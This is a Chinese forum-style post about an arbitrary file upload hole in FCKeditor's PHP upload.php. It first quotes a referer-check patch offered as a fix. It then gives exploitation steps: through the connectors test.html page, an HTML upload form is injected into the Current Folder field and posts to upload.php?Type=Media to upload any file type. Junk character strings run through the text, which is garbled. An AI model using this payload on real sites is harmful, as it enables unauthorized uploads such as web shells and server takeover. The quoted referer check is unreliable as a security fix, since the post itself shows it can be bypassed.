漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
& x8 M4 Y: s% ?# e$ e m/ [2 P网上给出的修复方案是
! f& C$ R: h' u% Q9 x$ e$ v修复方法,删除FCK编辑器用其他的编辑器8 B+ n" |7 p: |- r. C1 v
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
* W1 c5 {$ K5 ^/ c. [在
% F. W+ C. N3 H% G0 C4 wrequire(‘config.php’);6 W. f3 Z$ O- c; ]0 L( K* T
require(‘util.php’);4 a3 X$ k; p$ l; n+ g% S+ Y8 L) j
的下面添加以下代码—————————–; h- Y! ^1 c( S# x3 i q$ E1 V
//防止外部提交
5 y6 X1 r1 [3 A8 ]$ Q% r. ]5 i8 xfunction outsidepost()- d' |& e% {/ a+ Q: L W
{1 B% i( A' Y8 B- n! E
$servername=$_SERVER['SERVER_NAME'];
0 b, n i0 e" H) w+ C$sub_from=@$_SERVER['HTTP_REFERER'];
6 _ L, _, c# N$sub_len=strlen($servername);
6 y r7 K' n+ K$ W6 k5 e3 ~$checkfrom=substr($sub_from,7,$sub_len);- k4 n+ R3 v! S6 \
if($checkfrom!=$servername){
2 k* |! r$ y; ~. I. jecho(“you don’t outsidepost!”);9 q/ J3 j4 C% T* _( U% \3 l$ @( l
exit;
. c; l: J+ i9 G4 i5 F}
) g- O0 k# D* b. E9 m8 N4 H9 L4 M}
5 R9 r9 e4 Q+ x8 V+ voutsidepost();- }5 d, F+ v' g
防止外部提交,但是没有防止内部提交,
6 A- D3 D5 i# a+ ` d5 R0 Z利用方法:% c! t8 k8 R$ O* |
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
$ `) \, f9 U5 b" _2 {: n2,在Current Folder 框输入) r8 p% u: z5 K7 H `6 m" E# N2 x+ k
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>/ M- O5 w. f2 y( M$ k' c, f5 ?
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。) R$ Y+ W" `* A } W- o
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |